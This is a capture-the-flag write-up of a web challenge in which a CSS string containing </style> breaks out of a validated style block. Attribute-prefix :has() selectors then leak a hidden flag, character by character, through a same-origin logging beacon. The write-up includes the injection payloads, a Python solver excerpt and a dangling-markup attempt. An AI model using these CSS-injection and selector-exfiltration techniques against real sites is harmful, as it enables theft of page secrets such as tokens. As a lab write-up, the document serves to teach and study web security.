Usama Arshad. Résumé

Challenge 12 of 15 Web Full writeup

BlackHat MEA 2026 · Qualifiers

Dead Drop.

Poste Restante is an anonymous dead-drop board: leave a message, dress up the envelope with a little custom CSS, and every drop keeps its own private pickup log. Leave a message, never meet the courier.

Web· 4 November 2026

TL;DR

The per-drop "envelope cipher" CSS field is validated by a real CSS parser with a property/ value allowlist, but the accepted CSS is echoed verbatim into a <style> block, and a CSS string literal may contain </style>, giving arbitrary HTML injection (including a second <style> that never sees the validator). Under a JS-free CSP (default-src 'none'; style-src 'unsafe-inline'; img- src 'self'), the same-origin pickup beacon /px/:id logs the full request URL including query string into an owner-readable log, so html:has(input[value^='…']) #qN{background:url(/px/ COLLECTOR?p=N)} rules turn the headless-Chrome courier bot into a CSS-selector oracle that leaks the courier-only hidden <input value="BHFlagY{…}"> one character at a time.

Captured

01Recon

App surface (Express-style Node app, session cookie sid=<32 hex>, HttpOnly; SameSite=Lax):

http
ENDPOINT             BEHAVIOUR

GET /                Compose form ( title , body , css ) + "Your drops" ledger, scoped to sid

POST /post 302 → /post/<id>; on rejection 400 theme rejected: it contains a disallowed CSS construct

http
GET /post/:id        Renders the drop; ships the restrictive CSP

GET /post/:id/       JSON pickup log, owner-only ( {"error":"not your post"} otherwise, {"error":"no such
views                post"} for unknown ids)

GET /px/:id 66-byte 1×1 PNG, Cache-Control: no-store; appends {"beacon": "<full path+query>", "at": <ms>} to drop:id's log

POST /report Summons the courier bot (footer advertises CHROME 143.0.7499.192 · LINUX/AMD64), which renders the drop within ~2 s

No source disclosure (/source, /package.json, /.git/HEAD, /flag all 404).

Drop-page CSP:

snippet
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; img-src 'self'; base-uri 'none'
Referrer-Policy: no-referrer

No script, no external hosts, but same-origin images are allowed, and /px/ is a same-origin writable, readable logging sink. Confirmed the query string is logged verbatim: requesting /px/1?leak=AAA (200) produced {"beacon":"/px/1?leak=AAA",…} in /post/1/views.

Body sanitizer (allowlist): drops script, img, iframe, object, svg, style, input; unwraps a; keeps b, i, div with id / class (strips style). Input <a href="/x">a</a><b>b</b><i>i</i><div id=d class=c style="color:red">d</div> rendered as a<b>b</b><i>i</i><div id="d" class="c">d</div>. Crucially it leaves raw ' and > in text nodes.

CSS validator, a real parser with an allowlist, probed rule by rule:

python
body{color:red}                        302   a{}                                 400
/*c*/body{color:red}                   302   @import url("/x.css");              400
input{color:red}                       302   body{background:url("/px/2")}       400
a[b]{color:red}                        302   a{background:URL(/x)}               400
a[b=c]{color:red}                      302   a{background:u\72 l(/x)}            400
a:has(b){color:red}                    302   a{content:"x"}   a::before{…}       400
a:hover{color:red}                     302   @media / @font-face                 400
a{color:rgb(1,2,3)}                    302   a{width:attr(value)}                400
                                             a{background-image:image-set("/x")} 400
                                             a{--x:1}   a{transform:…}           400
                                             input[value^="a"]{color:red}        400

So url(), at-rules, content:, attr(), image-set(), custom properties and [value^=] are all blocked at the top level, which is exactly why the injected, unvalidated <style> matters.

Size cap on css: 15 788 bytes accepted, 21 138 bytes rejected with the same "disallowed CSS construct" message.

02The bug

Root cause: the validated CSS is reflected verbatim into <style>, and the validator has no notion of HTML context.

The parser tokenizes a CSS string literal as an opaque value, so anything inside quotes passes. All of these returned 302:

html
a{font-family:"url"}         a{font-family:"a{b}"}     a{font-family:"<img>"}
a{font-family:"IMPORT"}      a{font-family:"a@b"}      a{font-family:"</style><img>"}

The server then emits the string unencoded:

<style> a{font-family:"</style>"} </style>

During HTML parsing the inner </style> terminates the style element (raw-text elements end at the first matching end tag, quotes have no meaning to the tokenizer), so everything after it is live markup. Because the breakout happens in <head>, injecting a <div> implicitly opens <body>, making the injected nodes the first body children.

Two consequences compound:

  1. A <style> injected this way never passes through the validator, so url(...) and [value^=...], the two constructs the allowlist exists to block, are both available again inside it. CSP permits it: style-src 'unsafe-inline'.
  2. img-src 'self' + /px/:id gives an exfiltration channel that never leaves the origin. /px/:id logs the full request URL including query string, and /post/:id/views lets the owner read that log. Attacker-controlled write, attacker-readable read, both same-origin.

The secret lives in a courier-only conditional block: /post/:id for a normal visitor renders an empty region right after the classification bar, but the bot's render contains one extra body child, <input type="hidden" value="BHFlagY{…}">. With:has() allowed and CSS-attribute-prefix selectors available inside the injected style, that value is extractable character by character.

A REAL CSS PARSER WITH A STRICT ALLOWLIST

WHAT THE BRIEF SAID WHAT WAS BEHIND IT

A CSS STRING MAY CONTAIN </style>

03Exploitation

  1. Bootstrap a session. GET / sets sid. Everything, drops, pickup logs, is scoped to it; a drop's log is readable only by its creator, so the collector drop must be your own.
  2. Create a collector drop with harmless CSS (b{color:red}) and note its id C. Its log at /post/C/ views is the read side of the oracle.
  3. Build the probe payload and smuggle it through the validator as a CSS string:
html
css = a{font-family:"</style><div id=Q><i id=q0></i>…<i id=qN></i></div><style>
        i[id]{display:block;width:3px;height:3px;background-color:black}
        #q0{background-image:url(/px/C?p=zctl)}
        html:has(SELECTOR_1) #q1{background-image:url(/px/C?p=c0)}
        …
      </style>"

Notes that matter: the payload may contain no " or \ (they would close/escape the CSS string); each <i> needs an explicit box (display:block + size) or Chrome never fetches its background; #q0 is unconditional and acts as the "the courier actually rendered" control beacon.

  1. Fire one round: POST /post the probe drop → POST /report with its id → poll /post/C/views until new entries stop arriving (~3 s of quiet), then read which?p= names fired. First beacon lands ~2.1 s after /report; a 17-probe round completes in ~5.4 s end to end.
  2. Structure fingerprint. Probe body>:nth-child(4..12):
  3. self-render: n4, n5, n6 fire → 6 body children
  4. courier render: n4, n5, n6, n7 → 7 body children; the extra node is at position 4
  5. Identify the extra node. Probe body>TAG:nth-child(4) across 24 tags and body>:nth-child(4) [ATTR] across 9 attributes. Courier fired exactly t_input, a_value, a_hidden, i.e. <input type="hidden" value="…">. Body order on a probe page is therefore:
snippet
1 div#Q (injected) 2 style (injected)   3 div.st-classbar
4 courier-only hidden input             5 main 6 div.st-foot   7 img (/px/:id)
  1. Prefix extraction. One probe per candidate character, all resolved in a single courier visit:
snippet
html:has(body>input:nth-child(4)[value^='<prefix><char>']) #qN{background-image:url(/px/C?p=cN)}

Start with the full printable charset for the first characters; once the format is clear, switch to the 17-char set 0123456789abcdef} (} doubles as the terminator). Retry a round up to 3× when the control beacon zctl does not fire (courier never rendered).

  1. Verify with an exact-match pair in one round: body>input:nth-child(4)[value='FLAG'] fires and [value='FLAGX'] does not.

Result on the first instance: BHFlagY{...} (41 chars, ~5 s/char once the payload was small). Re-running the packaged script unattended against a fresh instance produced BHFlagY{...} with verified: True, the flag is generated per instance.

Solver: /home/kali/Desktop/CTF/Crpto/Hokan/solution/solve_dead_drop.py (python3 solve_dead_drop.py http://<instance-host>).

Key code @staticmethod def wrap(payload): """Hide an HTML payload inside a CSS string so the validator only ever sees a{font-family:"<string>"}.""" assert '"' not in payload, "payload may not contain a double quote"

python
         assert "\\" not in payload, "payload may not contain a backslash"
         return 'a{font-family:"%s"}' % payload

     @staticmethod
     def probe_payload(collector, probes):
         """probes: [(name, selector_or_None)] -- None means unconditional.

         One <i id=qN> per probe; a probe fires /px/<collector>?p=<name> only
         when its :has() selector matches. <i> elements are given a real box
         so the background image is actually fetched."""
         targets = "".join("<i id=q%d></i>" % k for k in range(len(probes)))
         rules = ["i[id]{display:block;width:3px;height:3px;background-color:black}"]
         for k, (name, selector) in enumerate(probes):
             url = "url(/px/%d?p=%s)" % (collector, name)
             if selector is None:
                 rules.append("#q%d{background-image:%s}" % (k, url))
             else:
                 rules.append("html:has(%s) #q%d{background-image:%s}"
                              % (selector, k, url))
         return "</style><div id=Q>%s</div><style>%s</style>" % (targets, "".join(rules))

# extraction round: one probe per candidate character, resolved in a single courier visit
TARGET = "body>input:nth-child(4)"
probes = [("zctl", None)]
probes += [("c%d" % i, "%s[value^='%s']" % (TARGET, prefix + c))
           for i, c in enumerate("0123456789abcdef}")]

04Dead ends

  • Dangling markup looked like a one-shot dump and is dead. The body sanitizer leaves raw ' and >, so css = a{font-family:"</style><img src='/px/C?d="} with body = '> really does build an <img> whose src swallows the entire courier-only region, confirmed present in the DOM via chromium -- headless --dump-dom. Chrome simply never requests it. Reproduced locally against a saved copy of the real page served over http://127.0.0.1:8765 with --log-net-log, then bisected the swallowed prefix: "}\n (6 chars) → FETCH, "}\n < (8 chars) → no. Chrome's dangling-markup mitigation drops any resource URL containing both a newline and <. Isolated control cases confirmed it: a URL with only newlines fetched (?nl=a\nb\nc → logged as?nl=abc), a URL with only <div class="m"> fetched, the combination did not. That is what forced the CSS-selector route.
  • TARGET = "input" silently extracts the wrong value. A bare input also matches the report form's <input type="hidden" name="id" value="<drop id>">. Because that value is numeric, the very first round with an empty prefix locks onto a digit of the drop id, the fresh-instance run produced FLAG: 1 / verified: False. It went unnoticed originally only because the switch to the bare selector happened while resuming from the known prefix BHFlagY{ea, which can never collide. Fixed to the positional body>input:nth-child(4).
  • Probe-name collision with the result parser. Naming the control probe ctl broke chars[int(name[1:])] with ValueError: invalid literal for int() with base 10: 'tl'; renamed to zctl / zbase so no control name starts with c.
  • Payload size, not the bot, was the bottleneck. A ~150-probe page (two-character rounds over a 17×17 pair space) ran ~2.5–3 min per character and then hit the css cap outright, 400 theme rejected at 21 138 bytes, accepted at 15 788. Shrinking to a 17-char hex charset cut a full round to 5.4 s.
  • Instance volatility. The first host went 503 for ~6 minutes mid-analysis and came back with all drops and the sid session wiped (/post/:id/views → {"error":"not your post"} for pre-restart ids), forcing a re-bootstrap. Later the same hostname was recycled to a different challenge entirely. On the fresh instance the first character took ~13 min before throughput settled to ~7 s/char; an isolated probe during the stall returned in 7.3 s, so the backlog was courier-queue side, the 3-attempt retry on a missing control beacon is what carried the run through.